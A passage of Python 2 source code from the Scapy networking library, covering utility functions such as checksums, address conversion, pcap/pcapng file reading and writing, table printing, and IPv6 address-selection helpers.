if dox and linex == liney: doy=1 if dox: xd = y j = 0 while not linex[j]: j += 1 xd -= 1 print colorize[doy-dox]("%04x" % xd), x += xx line=linex else: print " ", if doy: yd = y j = 0 while not liney[j]: j += 1 yd -= 1 print colorize[doy-dox]("%04x" % yd), y += yy line=liney else: print " ", print " ", cl = "" for j in xrange(16): if i+j < l: if line[j]: col = colorize[(linex[j]!=liney[j])*(doy-dox)] print col("%02X" % ord(line[j])), if linex[j]==liney[j]: cl += sane_color(line[j]) else: cl += col(sane(line[j])) else: print " ", cl += " " else: print " ", if j == 7: print "", print " ",cl if doy or not yy: doy=0 dox=1 i += 16 else: if yy: dox=0 doy=1 else: i += 16 if struct.pack("H",1) == "\x00\x01": # big endian def checksum(pkt): if len(pkt) % 2 == 1: pkt += "\0" s = sum(array.array("H", pkt)) s = (s >> 16) + (s & 0xffff) s += s >> 16 s = ~s return s & 0xffff else: def checksum(pkt): if len(pkt) % 2 == 1: pkt += "\0" s = sum(array.array("H", pkt)) s = (s >> 16) + (s & 0xffff) s += s >> 16 s = ~s return (((s>>8)&0xff)|s<<8) & 0xffff def _fletcher16(charbuf): # This is based on the GPLed C implementation in Zebra c0 = c1 = 0 for char in charbuf: c0 += ord(char) c1 += c0 c0 %= 255 c1 %= 255 return (c0,c1) @conf.commands.register def fletcher16_checksum(binbuf): """ Calculates Fletcher-16 checksum of the given buffer. Note: If the buffer contains the two checkbytes derived from the Fletcher-16 checksum the result of this function has to be 0. Otherwise the buffer has been corrupted. """ (c0,c1)= _fletcher16(binbuf) return (c1 << 8) | c0 @conf.commands.register def fletcher16_checkbytes(binbuf, offset): """ Calculates the Fletcher-16 checkbytes returned as 2 byte binary-string. Including the bytes into the buffer (at the position marked by offset) the global Fletcher-16 checksum of the buffer will be 0. Thus it is easy to verify the integrity of the buffer on the receiver side. For details on the algorithm, see RFC 2328 chapter 12.1.7 and RFC 905 Annex B. """ # This is based on the GPLed C implementation in Zebra if len(binbuf) < offset: raise Exception("Packet too short for checkbytes %d" % len(binbuf)) binbuf = binbuf[:offset] + "\x00\x00" + binbuf[offset + 2:] (c0,c1)= _fletcher16(binbuf) x = ((len(binbuf) - offset - 1) * c0 - c1) % 255 if (x <= 0): x += 255 y = 510 - c0 - x if (y > 255): y -= 255 return chr(x) + chr(y) def warning(x): log_runtime.warning(x) def mac2str(mac): return "".join(map(lambda x: chr(int(x,16)), mac.split(":"))) def str2mac(s): return ("%02x:"*6)[:-1] % tuple(map(ord, s)) def strxor(x,y): return "".join(map(lambda x,y:chr(ord(x)^ord(y)),x,y)) # Workarround bug 643005 : https://sourceforge.net/tracker/?func=detail&atid=105470&aid=643005&group_id=5470 try: socket.inet_aton("255.255.255.255") except socket.error: def inet_aton(x): if x == "255.255.255.255": return "\xff"*4 else: return socket.inet_aton(x) else: inet_aton = socket.inet_aton inet_ntoa = socket.inet_ntoa try: inet_ntop = socket.inet_ntop inet_pton = socket.inet_pton except AttributeError: from scapy.pton_ntop import * log_loading.info("inet_ntop/pton functions not found. Python IPv6 support not present") def atol(x): try: ip = inet_aton(x) except socket.error: ip = inet_aton(socket.gethostbyname(x)) return struct.unpack("!I", ip)[0] def ltoa(x): return inet_ntoa(struct.pack("!I", x&0xffffffff)) def itom(x): return (0xffffffff00000000L>>x)&0xffffffffL def do_graph(graph,prog=None,format=None,target=None,type=None,string=None,options=None): """do_graph(graph, prog=conf.prog.dot, format="svg", target="| conf.prog.display", options=None, [string=1]): string: if not None, simply return the graph string graph: GraphViz graph description format: output type (svg, ps, gif, jpg, etc.), passed to dot's "-T" option target: filename or redirect. Defaults pipe to Imagemagick's display program prog: which graphviz program to use options: options to be passed to prog""" if format is None: if WINDOWS: format = "png" # use common format to make sure a viewer is installed else: format = "svg" if string: return graph if type is not None: format=type if prog is None: prog = conf.prog.dot start_viewer=False if target is None: if WINDOWS: tempfile = os.tempnam("", "scapy") + "." + format target = "> %s" % tempfile start_viewer = True else: target = "| %s" % conf.prog.display if format is not None: format = "-T %s" % format w,r = os.popen2("%s %s %s %s" % (prog,options or "", format or "", target)) w.write(graph) w.close() if start_viewer: # Workaround for file not found error: We wait until tempfile is written. waiting_start = time.time() while not os.path.exists(tempfile): time.sleep(0.1) if time.time() - waiting_start > 3: warning("Temporary file '%s' could not be written. Graphic will not be displayed." % tempfile) break else: if conf.prog.display == conf.prog._default: os.startfile(tempfile) else: subprocess.Popen([conf.prog.display, tempfile]) _TEX_TR = { "{":"{\\tt\\char123}", "}":"{\\tt\\char125}", "\\":"{\\tt\\char92}", "^":"\\^{}", "$":"\\$", "#":"\\#", "~":"\\~", "_":"\\_", "&":"\\&", "%":"\\%", "|":"{\\tt\\char124}", "~":"{\\tt\\char126}", "<":"{\\tt\\char60}", ">":"{\\tt\\char62}", } def tex_escape(x): s = "" for c in x: s += _TEX_TR.get(c,c) return s def colgen(*lstcol,**kargs): """Returns a generator that mixes provided quantities forever trans: a function to convert the three arguments into a color. lambda x,y,z:(x,y,z) by default""" if len(lstcol) < 2: lstcol *= 2 trans = kargs.get("trans", lambda x,y,z: (x,y,z)) while 1: for i in xrange(len(lstcol)): for j in xrange(len(lstcol)): for k in xrange(len(lstcol)): if i != j or j != k or k != i: yield trans(lstcol[(i+j)%len(lstcol)],lstcol[(j+k)%len(lstcol)],lstcol[(k+i)%len(lstcol)]) def incremental_label(label="tag%05i", start=0): while True: yield label % start start += 1 # Python <= 2.5 do not provide bin() built-in function try: bin(0) except NameError: def _binrepr(val): while val: yield val & 1 val >>= 1 binrepr = lambda val: "".join(reversed([str(bit) for bit in _binrepr(val)])) or "0" else: binrepr = lambda val: bin(val)[2:] def long_converter(s): return long(s.replace('\n', '').replace(' ', ''), 16) ######################### #### Enum management #### ######################### class EnumElement: _value=None def __init__(self, key, value): self._key = key self._value = value def __repr__(self): return "<%s %s[%r]>" % (self.__dict__.get("_name", self.__class__.__name__), self._key, self._value) def __getattr__(self, attr): return getattr(self._value, attr) def __str__(self): return self._key def __eq__(self, other): return self._value == int(other) class Enum_metaclass(type): element_class = EnumElement def __new__(cls, name, bases, dct): rdict={} for k,v in dct.iteritems(): if type(v) is int: v = cls.element_class(k,v) dct[k] = v rdict[v] = k dct["__rdict__"] = rdict return super(Enum_metaclass, cls).__new__(cls, name, bases, dct) def __getitem__(self, attr): return self.__rdict__[attr] def __contains__(self, val): return val in self.__rdict__ def get(self, attr, val=None): return self.__rdict__.get(attr, val) def __repr__(self): return "<%s>" % self.__dict__.get("name", self.__name__) ################### ## Object saving ## ################### def export_object(obj): print gzip.zlib.compress(cPickle.dumps(obj,2),9).encode("base64") def import_object(obj=None): if obj is None: obj = sys.stdin.read() return cPickle.loads(gzip.zlib.decompress(obj.strip().decode("base64"))) def save_object(fname, obj): cPickle.dump(obj,gzip.open(fname,"wb")) def load_object(fname): return cPickle.load(gzip.open(fname,"rb")) @conf.commands.register def corrupt_bytes(s, p=0.01, n=None): """Corrupt a given percentage or number of bytes from a string""" s = array.array("B",str(s)) l = len(s) if n is None: n = max(1,int(l*p)) for i in random.sample(xrange(l), n): s[i] = (s[i]+random.randint(1,255))%256 return s.tostring() @conf.commands.register def corrupt_bits(s, p=0.01, n=None): """Flip a given percentage or number of bits from a string""" s = array.array("B",str(s)) l = len(s)*8 if n is None: n = max(1,int(l*p)) for i in random.sample(xrange(l), n): s[i/8] ^= 1 << (i%8) return s.tostring() ############################# ## pcap capture file stuff ## ############################# @conf.commands.register def wrpcap(filename, pkt, *args, **kargs): """Write a list of packets to a pcap file filename: the name of the file to write packets to, or an open, writable file-like object. The file descriptor will be closed at the end of the call, so do not use an object you do not want to close (e.g., running wrpcap(sys.stdout, []) in interactive mode will crash Scapy). gz: set to 1 to save a gzipped capture linktype: force linktype value endianness: "<" or ">", force endianness sync: do not bufferize writes to the capture file """ with PcapWriter(filename, *args, **kargs) as fdesc: fdesc.write(pkt) @conf.commands.register def rdpcap(filename, count=-1): """Read a pcap or pcapng file and return a packet list count: read only packets """ with PcapReader(filename) as fdesc: return fdesc.read_all(count=count) class PcapReader_metaclass(type): """Metaclass for (Raw)Pcap(Ng)Readers""" def __new__(cls, name, bases, dct): """The `alternative` class attribute is declared in the PcapNg variant, and set here to the Pcap variant. """ newcls = super(PcapReader_metaclass, cls).__new__(cls, name, bases, dct) if 'alternative' in dct: dct['alternative'].alternative = newcls return newcls def __call__(cls, filename): """Creates a cls instance, use the `alternative` if that fails. """ i = cls.__new__(cls, cls.__name__, cls.__bases__, cls.__dict__) filename, fdesc, magic = cls.open(filename) try: i.__init__(filename, fdesc, magic) except Scapy_Exception: if "alternative" in cls.__dict__: cls = cls.__dict__["alternative"] i = cls.__new__(cls, cls.__name__, cls.__bases__, cls.__dict__) try: i.__init__(filename, fdesc, magic) except Scapy_Exception: try: i.f.seek(-4, 1) except: pass raise Scapy_Exception("Not a supported capture file") return i @staticmethod def open(filename): """Open (if necessary) filename, and read the magic.""" if isinstance(filename, basestring): try: fdesc = gzip.open(filename,"rb") magic = fdesc.read(4) except IOError: fdesc = open(filename,"rb") magic = fdesc.read(4) else: fdesc = filename filename = (fdesc.name if hasattr(fdesc, "name") else "No name") magic = fdesc.read(4) return filename, fdesc, magic class RawPcapReader: """A stateful pcap reader. Each packet is returned as a string""" __metaclass__ = PcapReader_metaclass def __init__(self, filename, fdesc, magic): self.filename = filename self.f = fdesc if magic == "\xa1\xb2\xc3\xd4": #big endian self.endian = ">" elif magic == "\xd4\xc3\xb2\xa1": #little endian self.endian = "<" else: raise Scapy_Exception( "Not a pcap capture file (bad magic: %r)" % magic ) hdr = self.f.read(20) if len(hdr)<20: raise Scapy_Exception("Invalid pcap file (too short)") vermaj, vermin, tz, sig, snaplen, linktype = struct.unpack( self.endian + "HHIIII", hdr ) self.linktype = linktype def __iter__(self): return self def next(self): """implement the iterator protocol on a set of packets in a pcap file""" pkt = self.read_packet() if pkt == None: raise StopIteration return pkt def read_packet(self, size=MTU): """return a single packet read from the file returns None when no more packets are available """ hdr = self.f.read(16) if len(hdr) < 16: return None sec,usec,caplen,wirelen = struct.unpack(self.endian+"IIII", hdr) s = self.f.read(caplen)[:size] return s,(sec,usec,wirelen) # caplen = len(s) def dispatch(self, callback): """call the specified callback routine for each packet read This is just a convienience function for the main loop that allows for easy launching of packet processing in a thread. """ for p in self: callback(p) def read_all(self,count=-1): """return a list of all packets in the pcap file """ res=[] while count != 0: count -= 1 p = self.read_packet() if p is None: break res.append(p) return res def recv(self, size=MTU): """ Emulate a socket """ return self.read_packet(size=size)[0] def fileno(self): return self.f.fileno() def close(self): return self.f.close() def __enter__(self): return self def __exit__(self, exc_type, exc_value, tracback): self.close() class PcapReader(RawPcapReader): def __init__(self, filename, fdesc, magic): RawPcapReader.__init__(self, filename, fdesc, magic) try: self.LLcls = conf.l2types[self.linktype] except KeyError: warning("PcapReader: unknown LL type [%i]/[%#x]. Using Raw packets" % (self.linktype,self.linktype)) self.LLcls = conf.raw_layer def read_packet(self, size=MTU): rp = RawPcapReader.read_packet(self, size=size) if rp is None: return None s,(sec,usec,wirelen) = rp try: p = self.LLcls(s) except KeyboardInterrupt: raise except: if conf.debug_dissector: raise p = conf.raw_layer(s) p.time = sec+0.000001*usec return p def read_all(self,count=-1): res = RawPcapReader.read_all(self, count) from scapy import plist return plist.PacketList(res,name = os.path.basename(self.filename)) def recv(self, size=MTU): return self.read_packet(size=size) class RawPcapNgReader(RawPcapReader): """A stateful pcapng reader. Each packet is returned as a string. """ alternative = RawPcapReader def __init__(self, filename, fdesc, magic): self.filename = filename self.f = fdesc # A list of (linktype, snaplen); will be populated by IDBs. self.interfaces = [] self.blocktypes = { 1: self.read_block_idb, 6: self.read_block_epb, } if magic != "\x0a\x0d\x0d\x0a": # PcapNg: raise Scapy_Exception( "Not a pcapng capture file (bad magic: %r)" % magic ) # see https://github.com/pcapng/pcapng blocklen, magic = self.f.read(4), self.f.read(4) if magic == "\x1a\x2b\x3c\x4d": self.endian = ">" elif magic == "\x4d\x3c\x2b\x1a": self.endian = "<" else: raise Scapy_Exception("Not a pcapng capture file (bad magic)") self.f.seek(0) def read_packet(self, size=MTU): """Read blocks until it reaches either EOF or a packet, and returns None or (packet, (linktype, sec, usec, wirelen)), where packet is a string. """ while True: try: blocktype, blocklen = struct.unpack(self.endian + "2I", self.f.read(8)) except struct.error: return None block = self.f.read(blocklen - 12) try: if (blocklen,) != struct.unpack(self.endian + 'I', self.f.read(4)): raise Scapy_Exception( "Invalid pcapng block (bad blocklen)" ) except struct.error: return None res = self.blocktypes.get(blocktype, lambda block, size: None)(block, size) if res is not None: return res def read_block_idb(self, block, _): """Interface Description Block""" self.interfaces.append(struct.unpack(self.endian + "HxxI", block[:8])) def read_block_epb(self, block, size): """Enhanced Packet Block""" intid, sec, usec, caplen, wirelen = struct.unpack(self.endian + "5I", block[:20]) return (block[20:20 + caplen][:size], (self.interfaces[intid][0], sec, usec, wirelen)) class PcapNgReader(RawPcapNgReader): alternative = PcapReader def __init__(self, filename, fdesc, magic): RawPcapNgReader.__init__(self, filename, fdesc, magic) def read_packet(self, size=MTU): rp = RawPcapNgReader.read_packet(self, size=size) if rp is None: return None s, (linktype, sec, usec, wirelen) = rp try: p = conf.l2types[linktype](s) except KeyboardInterrupt: raise except: if conf.debug_dissector: raise p = conf.raw_layer(s) p.time = sec+0.000001*usec return p def read_all(self,count=-1): res = RawPcapNgReader.read_all(self, count) from scapy import plist return plist.PacketList(res, name=os.path.basename(self.filename)) def recv(self, size=MTU): return self.read_packet() class RawPcapWriter: """A stream PCAP writer with more control than wrpcap()""" def __init__(self, filename, linktype=None, gz=False, endianness="", append=False, sync=False): """ filename: the name of the file to write packets to, or an open, writable file-like object. linktype: force linktype to a given value. If None, linktype is taken from the first writter packet gz: compress the capture on the fly endianness: force an endianness (little:"<", big:">"). Default is native append: append packets to the capture file instead of truncating it sync: do not bufferize writes to the capture file """ self.linktype = linktype self.header_present = 0 self.append = append self.gz = gz self.endian = endianness self.sync = sync bufsz=4096 if sync: bufsz = 0 if isinstance(filename, basestring): self.filename = filename self.f = [open,gzip.open][gz](filename,append and "ab" or "wb", gz and 9 or bufsz) else: self.f = filename self.filename = (filename.name if hasattr(filename, "name") else "No name") def fileno(self): return self.f.fileno() def _write_header(self, pkt): self.header_present=1 if self.append: # Even if prone to race conditions, this seems to be # safest way to tell whether the header is already present # because we have to handle compressed streams that # are not as flexible as basic files g = [open,gzip.open][self.gz](self.filename,"rb") if g.read(16): return self.f.write(struct.pack(self.endian+"IHHIIII", 0xa1b2c3d4L, 2, 4, 0, 0, MTU, self.linktype)) self.f.flush() def write(self, pkt): """accepts either a single packet or a list of packets to be written to the dumpfile """ if type(pkt) is str: if not self.header_present: self._write_header(pkt) self._write_packet(pkt) else: pkt = pkt.__iter__() if not self.header_present: try: p = pkt.next() except StopIteration: self._write_header("") return self._write_header(p) self._write_packet(p) for p in pkt: self._write_packet(p) def _write_packet(self, packet, sec=None, usec=None, caplen=None, wirelen=None): """writes a single packet to the pcap file """ if isinstance(packet, tuple): for pkt in packet: self._write_packet(pkt, sec=sec, usec=usec, caplen=caplen, wirelen=wirelen) return if caplen is None: caplen = len(packet) if wirelen is None: wirelen = caplen if sec is None or usec is None: t=time.time() it = int(t) if sec is None: sec = it if usec is None: usec = int(round((t-it)*1000000)) self.f.write(struct.pack(self.endian+"IIII", sec, usec, caplen, wirelen)) self.f.write(packet) if self.sync: self.f.flush() def flush(self): return self.f.flush() def close(self): return self.f.close() def __enter__(self): return self def __exit__(self, exc_type, exc_value, tracback): self.flush() self.close() class PcapWriter(RawPcapWriter): """A stream PCAP writer with more control than wrpcap()""" def _write_header(self, pkt): if isinstance(pkt, tuple) and pkt: pkt = pkt[0] if self.linktype == None: try: self.linktype = conf.l2types[pkt.__class__] except KeyError: warning("PcapWriter: unknown LL type for %s. Using type 1 (Ethernet)" % pkt.__class__.__name__) self.linktype = 1 RawPcapWriter._write_header(self, pkt) def _write_packet(self, packet): if isinstance(packet, tuple): for pkt in packet: self._write_packet(pkt) return sec = int(packet.time) usec = int(round((packet.time-sec)*1000000)) s = str(packet) caplen = len(s) RawPcapWriter._write_packet(self, s, sec, usec, caplen, caplen) re_extract_hexcap = re.compile("^((0x)?[0-9a-fA-F]{2,}[ :\t]{,3}|) *(([0-9a-fA-F]{2} {,2}){,16})") def import_hexcap(): p = "" try: while 1: l = raw_input().strip() try: p += re_extract_hexcap.match(l).groups()[2] except: warning("Parsing error during hexcap") continue except EOFError: pass p = p.replace(" ","") return p.decode("hex") @conf.commands.register def wireshark(pktlist): """Run wireshark on a list of packets""" f = get_temp_file() wrpcap(f, pktlist) subprocess.Popen([conf.prog.wireshark, "-r", f]) @conf.commands.register def hexedit(x): x = str(x) f = get_temp_file() open(f,"w").write(x) subprocess.call([conf.prog.hexedit, f]) x = open(f).read() os.unlink(f) return x def __make_table(yfmtfunc, fmtfunc, endline, list, fxyz, sortx=None, sorty=None, seplinefunc=None): vx = {} vy = {} vz = {} vxf = {} vyf = {} l = 0 for e in list: xx,yy,zz = map(str, fxyz(e)) l = max(len(yy),l) vx[xx] = max(vx.get(xx,0), len(xx), len(zz)) vy[yy] = None vz[(xx,yy)] = zz vxk = vx.keys() vyk = vy.keys() if sortx: vxk.sort(sortx) else: try: vxk.sort(lambda x,y:int(x)-int(y)) except: try: vxk.sort(lambda x,y: cmp(atol(x),atol(y))) except: vxk.sort() if sorty: vyk.sort(sorty) else: try: vyk.sort(lambda x,y:int(x)-int(y)) except: try: vyk.sort(lambda x,y: cmp(atol(x),atol(y))) except: vyk.sort() if seplinefunc: sepline = seplinefunc(l, map(lambda x:vx[x],vxk)) print sepline fmt = yfmtfunc(l) print fmt % "", for x in vxk: vxf[x] = fmtfunc(vx[x]) print vxf[x] % x, print endline if seplinefunc: print sepline for y in vyk: print fmt % y, for x in vxk: print vxf[x] % vz.get((x,y), "-"), print endline if seplinefunc: print sepline def make_table(*args, **kargs): __make_table(lambda l:"%%-%is" % l, lambda l:"%%-%is" % l, "", *args, **kargs) def make_lined_table(*args, **kargs): __make_table(lambda l:"%%-%is |" % l, lambda l:"%%-%is |" % l, "", seplinefunc=lambda a,x:"+".join(map(lambda y:"-"*(y+2), [a-1]+x+[-2])), *args, **kargs) def make_tex_table(*args, **kargs): __make_table(lambda l: "%s", lambda l: "& %s", "\\\\", seplinefunc=lambda a,x:"\\hline", *args, **kargs) scapy-2.3.3/scapy/utils6.py000066400000000000000000000656501300136037300155650ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license ## Copyright (C) 2005 Guillaume Valadon ## Arnaud Ebalard """ Utility functions for IPv6. """ import random import socket import struct from scapy.config import conf from scapy.data import * from scapy.utils import * from scapy.pton_ntop import * def construct_source_candidate_set(addr, plen, laddr, loname): """ Given all addresses assigned to a specific interface ('laddr' parameter), this function returns the "candidate set" associated with 'addr/plen'. Basically, the function filters all interface addresses to keep only those that have the same scope as provided prefix. This is on this list of addresses that the source selection mechanism will then be performed to select the best source address associated with some specific destination that uses this prefix. """ def cset_sort(x,y): x_global = 0 if in6_isgladdr(x): x_global = 1 y_global = 0 if in6_isgladdr(y): y_global = 1 res = y_global - x_global if res != 0 or y_global != 1: return res # two global addresses: if one is native, it wins. if not in6_isaddr6to4(x): return -1; return -res cset = [] if in6_isgladdr(addr) or in6_isuladdr(addr): cset = filter(lambda x: x[1] == IPV6_ADDR_GLOBAL, laddr) elif in6_islladdr(addr): cset = filter(lambda x: x[1] == IPV6_ADDR_LINKLOCAL, laddr) elif in6_issladdr(addr): cset = filter(lambda x: x[1] == IPV6_ADDR_SITELOCAL, laddr) elif in6_ismaddr(addr): if in6_ismnladdr(addr): cset = [('::1', 16, loname)] elif in6_ismgladdr(addr): cset = filter(lambda x: x[1] == IPV6_ADDR_GLOBAL, laddr) elif in6_ismlladdr(addr): cset = filter(lambda x: x[1] == IPV6_ADDR_LINKLOCAL, laddr) elif in6_ismsladdr(addr): cset = filter(lambda x: x[1] == IPV6_ADDR_SITELOCAL, laddr) elif addr == '::' and plen == 0: cset = filter(lambda x: x[1] == IPV6_ADDR_GLOBAL, laddr) cset = map(lambda x: x[0], cset) cset.sort(cmp=cset_sort) # Sort with global addresses first return cset def get_source_addr_from_candidate_set(dst, candidate_set): """ This function implement a limited version of source address selection algorithm defined in section 5 of RFC 3484. The format is very different from that described in the document because it operates on a set of candidate source address for some specific route. """ def scope_cmp(a, b): """ Given two addresses, returns -1, 0 or 1 based on comparison of their scope """ scope_mapper = {IPV6_ADDR_GLOBAL: 4, IPV6_ADDR_SITELOCAL: 3, IPV6_ADDR_LINKLOCAL: 2, IPV6_ADDR_LOOPBACK: 1} sa = in6_getscope(a) if sa == -1: sa = IPV6_ADDR_LOOPBACK sb = in6_getscope(b) if sb == -1: sb = IPV6_ADDR_LOOPBACK sa = scope_mapper[sa] sb = scope_mapper[sb] if sa == sb: return 0 if sa > sb: return 1 return -1 def rfc3484_cmp(source_a, source_b): """ The function implements a limited version of the rules from Source Address selection algorithm defined section of RFC 3484. """ # Rule 1: Prefer same address if source_a == dst: return 1 if source_b == dst: return 1 # Rule 2: Prefer appropriate scope tmp = scope_cmp(source_a, source_b) if tmp == -1: if scope_cmp(source_a, dst) == -1: return 1 else: return -1 elif tmp == 1: if scope_cmp(source_b, dst) == -1: return 1 else: return -1 # Rule 3: cannot be easily implemented # Rule 4: cannot be easily implemented # Rule 5: does not make sense here # Rule 6: cannot be implemented # Rule 7: cannot be implemented # Rule 8: Longest prefix match tmp1 = in6_get_common_plen(source_a, dst) tmp2 = in6_get_common_plen(source_b, dst) if tmp1 > tmp2: return 1 elif tmp2 > tmp1: return -1 return 0 if not candidate_set: # Should not happen return None candidate_set.sort(cmp=rfc3484_cmp, reverse=True) return candidate_set[0] def find_ifaddr2(addr, plen, laddr): dstAddrType = in6_getAddrType(addr) if dstAddrType == IPV6_ADDR_UNSPECIFIED: # Shouldn't happen as dst addr return None if dstAddrType == IPV6_ADDR_LOOPBACK: return None tmp = [[]] + map(lambda (x,y,z): (in6_getAddrType(x), x, y, z), laddr) def filterSameScope(l, t): if (t[0] & dstAddrType & IPV6_ADDR_SCOPE_MASK) == 0: l.append(t) return l sameScope = reduce(filterSameScope, tmp) l = len(sameScope) if l == 1: # Only one address for our scope return sameScope[0][1] elif l > 1: # Muliple addresses for our scope stfAddr = filter(lambda x: x[0] & IPV6_ADDR_6TO4, sameScope) nativeAddr = filter(lambda x: not (x[0] & IPV6_ADDR_6TO4), sameScope) if not (dstAddrType & IPV6_ADDR_6TO4): # destination is not 6to4 if len(nativeAddr) != 0: return nativeAddr[0][1] return stfAddr[0][1] else: # Destination is 6to4, try to use source 6to4 addr if any if len(stfAddr) != 0: return stfAddr[0][1] return nativeAddr[0][1] else: return None # Think before modify it : for instance, FE::1 does exist and is unicast # there are many others like that. # TODO : integrate Unique Local Addresses def in6_getAddrType(addr): naddr = inet_pton(socket.AF_INET6, addr) paddr = inet_ntop(socket.AF_INET6, naddr) # normalize addrType = 0 # _Assignable_ Global Unicast Address space # is defined in RFC 3513 as those in 2000::/3 if ((struct.unpack("B", naddr[0])[0] & 0xE0) == 0x20): addrType = (IPV6_ADDR_UNICAST | IPV6_ADDR_GLOBAL) if naddr[:2] == ' \x02': # Mark 6to4 @ addrType |= IPV6_ADDR_6TO4 elif naddr[0] == '\xff': # multicast addrScope = paddr[3] if addrScope == '2': addrType = (IPV6_ADDR_LINKLOCAL | IPV6_ADDR_MULTICAST) elif addrScope == 'e': addrType = (IPV6_ADDR_GLOBAL | IPV6_ADDR_MULTICAST) else: addrType = (IPV6_ADDR_GLOBAL | IPV6_ADDR_MULTICAST) elif ((naddr[0] == '\xfe') and ((int(paddr[2], 16) & 0xC) == 0x8)): addrType = (IPV6_ADDR_UNICAST | IPV6_ADDR_LINKLOCAL) elif paddr == "::1": addrType = IPV6_ADDR_LOOPBACK elif paddr == "::": addrType = IPV6_ADDR_UNSPECIFIED else: # Everything else is global unicast (RFC 3513) # Even old deprecated (RFC3879) Site-Local addresses addrType = (IPV6_ADDR_GLOBAL | IPV6_ADDR_UNICAST) return addrType def in6_mactoifaceid(mac, ulbit=None): """ Compute the interface ID in modified EUI-64 format associated to the Ethernet address provided as input. value taken by U/L bit in the interface identifier is basically the reversed value of that in given MAC address it can be forced to a specific value by using optional 'ulbit' parameter. """ if len(mac) != 17: return None m = "".join(mac.split(':')) if len(m) != 12: return None first = int(m[0:2], 16) if ulbit is None or not (ulbit == 0 or ulbit == 1): ulbit = [1,'-',0][first & 0x02] ulbit *= 2 first = "%.02x" % ((first & 0xFD) | ulbit) eui64 = first + m[2:4] + ":" + m[4:6] + "FF:FE" + m[6:8] + ":" + m[8:12] return eui64.upper() def in6_ifaceidtomac(ifaceid): # TODO: finish commenting function behavior """ Extract the mac address from provided iface ID. Iface ID is provided in printable format ("XXXX:XXFF:FEXX:XXXX", eventually compressed). None is returned on error. """ try: ifaceid = inet_pton(socket.AF_INET6, "::"+ifaceid)[8:16] except: return None if ifaceid[3:5] != '\xff\xfe': return None first = struct.unpack("B", ifaceid[:1])[0] ulbit = 2*[1,'-',0][first & 0x02] first = struct.pack("B", ((first & 0xFD) | ulbit)) oui = first + ifaceid[1:3] end = ifaceid[5:] l = map(lambda x: "%.02x" % struct.unpack("B", x)[0], list(oui+end)) return ":".join(l) def in6_addrtomac(addr): """ Extract the mac address from provided address. None is returned on error. """ mask = inet_pton(socket.AF_INET6, "::ffff:ffff:ffff:ffff") x = in6_and(mask, inet_pton(socket.AF_INET6, addr)) ifaceid = inet_ntop(socket.AF_INET6, x)[2:] return in6_ifaceidtomac(ifaceid) def in6_addrtovendor(addr): """ Extract the MAC address from a modified EUI-64 constructed IPv6 address provided and use the IANA oui.txt file to get the vendor. The database used for the conversion is the one loaded by Scapy, based on Wireshark (/usr/share/wireshark/wireshark/manuf) None is returned on error, "UNKNOWN" if the vendor is unknown. """ mac = in6_addrtomac(addr) if mac is None: return None res = conf.manufdb._get_manuf(mac) if len(res) == 17 and res.count(':') != 5: # Mac address, i.e. unknown res = "UNKNOWN" return res def in6_getLinkScopedMcastAddr(addr, grpid=None, scope=2): """ Generate a Link-Scoped Multicast Address as described in RFC 4489. Returned value is in printable notation. 'addr' parameter specifies the link-local address to use for generating Link-scoped multicast address IID. By default, the function returns a ::/96 prefix (aka last 32 bits of returned address are null). If a group id is provided through 'grpid' parameter, last 32 bits of the address are set to that value (accepted formats : '\x12\x34\x56\x78' or '12345678' or 0x12345678 or 305419896). By default, generated address scope is Link-Local (2). That value can be modified by passing a specific 'scope' value as an argument of the function. RFC 4489 only authorizes scope values <= 2. Enforcement is performed by the function (None will be returned). If no link-local address can be used to generate the Link-Scoped IPv6 Multicast address, or if another error occurs, None is returned. """ if not scope in [0, 1, 2]: return None try: if not in6_islladdr(addr): return None addr = inet_pton(socket.AF_INET6, addr) except: warning("in6_getLinkScopedMcastPrefix(): Invalid address provided") return None iid = addr[8:] if grpid is None: grpid = '\x00\x00\x00\x00' else: if type(grpid) is str: if len(grpid) == 8: try: grpid = int(grpid, 16) & 0xffffffff except: warning("in6_getLinkScopedMcastPrefix(): Invalid group id provided") return None elif len(grpid) == 4: try: grpid = struct.unpack("!I", grpid)[0] except: warning("in6_getLinkScopedMcastPrefix(): Invalid group id provided") return None grpid = struct.pack("!I", grpid) flgscope = struct.pack("B", 0xff & ((0x3 << 4) | scope)) plen = '\xff' res = '\x00' a = '\xff' + flgscope + res + plen + iid + grpid return inet_ntop(socket.AF_INET6, a) def in6_get6to4Prefix(addr): """ Returns the /48 6to4 prefix associated with provided IPv4 address On error, None is returned. No check is performed on public/private status of the address """ try: addr = inet_pton(socket.AF_INET, addr) addr = inet_ntop(socket.AF_INET6, '\x20\x02'+addr+'\x00'*10) except: return None return addr def in6_6to4ExtractAddr(addr): """ Extract IPv4 address embbeded in 6to4 address. Passed address must be a 6to4 addrees. None is returned on error. """ try: addr = inet_pton(socket.AF_INET6, addr) except: return None if addr[:2] != " \x02": return None return inet_ntop(socket.AF_INET, addr[2:6]) def in6_getLocalUniquePrefix(): """ Returns a pseudo-randomly generated Local Unique prefix. Function follows recommandation of Section 3.2.2 of RFC 4193 for prefix generation. """ # Extracted from RFC 1305 (NTP) : # NTP timestamps are represented as a 64-bit unsigned fixed-point number, # in seconds relative to 0h on 1 January 1900. The integer part is in the # first 32 bits and the fraction part in the last 32 bits. # epoch = (1900, 1, 1, 0, 0, 0, 5, 1, 0) # x = time.time() # from time import gmtime, strftime, gmtime, mktime # delta = mktime(gmtime(0)) - mktime(self.epoch) # x = x-delta tod = time.time() # time of day. Will bother with epoch later i = int(tod) j = int((tod - i)*(2**32)) tod = struct.pack("!II", i,j) # TODO: Add some check regarding system address gathering from scapy.arch import get_if_raw_hwaddr rawmac = get_if_raw_hwaddr(conf.iface6)[1] mac = ":".join(map(lambda x: "%.02x" % ord(x), list(rawmac))) # construct modified EUI-64 ID eui64 = inet_pton(socket.AF_INET6, '::' + in6_mactoifaceid(mac))[8:] import sha globalid = sha.new(tod+eui64).digest()[:5] return inet_ntop(socket.AF_INET6, '\xfd' + globalid + '\x00'*10) def in6_getRandomizedIfaceId(ifaceid, previous=None): """ Implements the interface ID generation algorithm described in RFC 3041. The function takes the Modified EUI-64 interface identifier generated as described in RFC 4291 and an optional previous history value (the first element of the output of this function). If no previous interface identifier is provided, a random one is generated. The function returns a tuple containing the randomized interface identifier and the history value (for possible future use). Input and output values are provided in a "printable" format as depicted below. ex: >>> in6_getRandomizedIfaceId('20b:93ff:feeb:2d3') ('4c61:76ff:f46a:a5f3', 'd006:d540:db11:b092') >>> 